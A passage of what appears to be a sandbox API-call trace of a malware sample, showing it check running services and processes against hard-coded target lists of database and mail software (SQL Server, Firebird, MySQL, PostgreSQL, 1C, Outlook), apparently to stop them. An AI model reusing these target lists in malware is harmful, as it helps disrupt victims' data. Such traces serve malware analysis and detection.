12 [0211.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0211.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0211.219] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0211.219] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0211.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0211.219] lstrlenW (lpString="LanmanWorkstation") returned 17 [0211.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.219] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0211.219] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0211.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0211.219] lstrlenW (lpString="lmhosts") returned 7 [0211.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0211.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0211.219] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0211.219] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0211.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0211.219] lstrlenW (lpString="MMCSS") returned 5 [0211.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0211.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0211.220] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0211.220] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0211.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0211.220] lstrlenW (lpString="MpsSvc") returned 6 [0211.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0211.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0211.220] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0211.220] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0211.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0211.220] lstrlenW (lpString="Netman") returned 6 [0211.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0211.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0211.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0211.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0211.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0211.220] lstrlenW (lpString="netprofm") returned 8 [0211.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0211.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0211.220] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0211.220] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0211.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0211.220] lstrlenW (lpString="NlaSvc") returned 6 [0211.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0211.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0211.220] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0211.220] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0211.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0211.220] lstrlenW (lpString="nsi") returned 3 [0211.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0211.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0211.220] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0211.220] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0211.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0211.220] lstrlenW (lpString="PcaSvc") returned 6 [0211.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0211.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0211.220] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0211.220] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0211.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0211.220] lstrlenW (lpString="PlugPlay") returned 8 [0211.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0211.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0211.220] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0211.220] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0211.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0211.220] lstrlenW (lpString="Power") returned 5 [0211.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0211.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0211.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0211.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0211.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0211.221] lstrlenW (lpString="ProfSvc") returned 7 [0211.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0211.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0211.221] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0211.221] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0211.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0211.221] lstrlenW (lpString="RpcEptMapper") returned 12 [0211.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.221] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0211.221] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0211.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0211.221] lstrlenW (lpString="RpcSs") returned 5 [0211.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0211.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0211.221] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0211.221] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0211.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0211.221] lstrlenW (lpString="SamSs") returned 5 [0211.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0211.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0211.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0211.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0211.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0211.221] lstrlenW (lpString="Schedule") returned 8 [0211.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0211.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0211.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0211.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0211.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0211.221] lstrlenW (lpString="SENS") returned 4 [0211.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0211.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0211.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0211.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0211.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0211.221] lstrlenW (lpString="ShellHWDetection") returned 16 [0211.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.221] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0211.221] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0211.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0211.221] lstrlenW (lpString="Spooler") returned 7 [0211.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0211.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0211.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0211.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0211.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0211.222] lstrlenW (lpString="sppsvc") returned 6 [0211.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0211.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0211.222] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0211.222] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0211.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0211.222] lstrlenW (lpString="SysMain") returned 7 [0211.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0211.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0211.222] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0211.222] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0211.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0211.222] lstrlenW (lpString="Themes") returned 6 [0211.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0211.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0211.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0211.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0211.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0211.222] lstrlenW (lpString="TrkWks") returned 6 [0211.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0211.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0211.222] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0211.222] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0211.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0211.222] lstrlenW (lpString="UxSms") returned 5 [0211.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0211.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0211.222] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0211.222] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0211.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0211.222] lstrlenW (lpString="WdiServiceHost") returned 14 [0211.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0211.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0211.222] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0211.222] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0211.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0211.222] lstrlenW (lpString="WdiSystemHost") returned 13 [0211.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0211.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0211.222] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0211.222] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0211.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0211.222] lstrlenW (lpString="WinDefend") returned 9 [0211.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0211.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0211.223] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0211.223] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0211.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0211.223] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0211.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0211.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0211.223] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0211.223] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0211.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0211.223] lstrlenW (lpString="Winmgmt") returned 7 [0211.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0211.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0211.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0211.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0211.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0211.223] lstrlenW (lpString="wscsvc") returned 6 [0211.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0211.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0211.223] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0211.223] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0211.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0211.223] lstrlenW (lpString="wuauserv") returned 8 [0211.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0211.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0211.223] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0211.223] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0211.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0211.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0211.225] Process32FirstW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.225] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.226] lstrlenW (lpString="System") returned 6 [0211.226] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0211.226] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0211.226] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0211.226] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0211.226] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0211.226] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0211.226] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0211.226] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.227] lstrlenW (lpString="smss.exe") returned 8 [0211.227] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0211.227] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0211.227] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0211.227] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0211.227] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0211.227] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0211.227] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0211.227] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.228] lstrlenW (lpString="csrss.exe") returned 9 [0211.228] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.228] lstrlenW (lpString="wininit.exe") returned 11 [0211.228] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.229] lstrlenW (lpString="csrss.exe") returned 9 [0211.229] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.229] lstrlenW (lpString="winlogon.exe") returned 12 [0211.229] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.230] lstrlenW (lpString="services.exe") returned 12 [0211.230] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.231] lstrlenW (lpString="lsass.exe") returned 9 [0211.231] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0211.231] lstrlenW (lpString="lsm.exe") returned 7 [0211.231] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.232] lstrlenW (lpString="svchost.exe") returned 11 [0211.232] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.232] lstrlenW (lpString="svchost.exe") returned 11 [0211.232] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.233] lstrlenW (lpString="svchost.exe") returned 11 [0211.233] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.234] lstrlenW (lpString="svchost.exe") returned 11 [0211.234] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.234] lstrlenW (lpString="svchost.exe") returned 11 [0211.234] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.235] lstrlenW (lpString="audiodg.exe") returned 11 [0211.235] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.235] lstrlenW (lpString="svchost.exe") returned 11 [0211.235] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.236] lstrlenW (lpString="svchost.exe") returned 11 [0211.236] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.237] lstrlenW (lpString="dwm.exe") returned 7 [0211.237] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.237] lstrlenW (lpString="explorer.exe") returned 12 [0211.237] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.238] lstrlenW (lpString="spoolsv.exe") returned 11 [0211.238] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0211.238] lstrlenW (lpString="taskhost.exe") returned 12 [0211.238] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.239] lstrlenW (lpString="svchost.exe") returned 11 [0211.239] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0211.240] lstrlenW (lpString="taskeng.exe") returned 11 [0211.240] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0211.240] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0211.241] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0211.241] lstrlenW (lpString="nova.exe") returned 8 [0211.241] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0211.242] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0211.242] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0211.242] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0211.242] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: 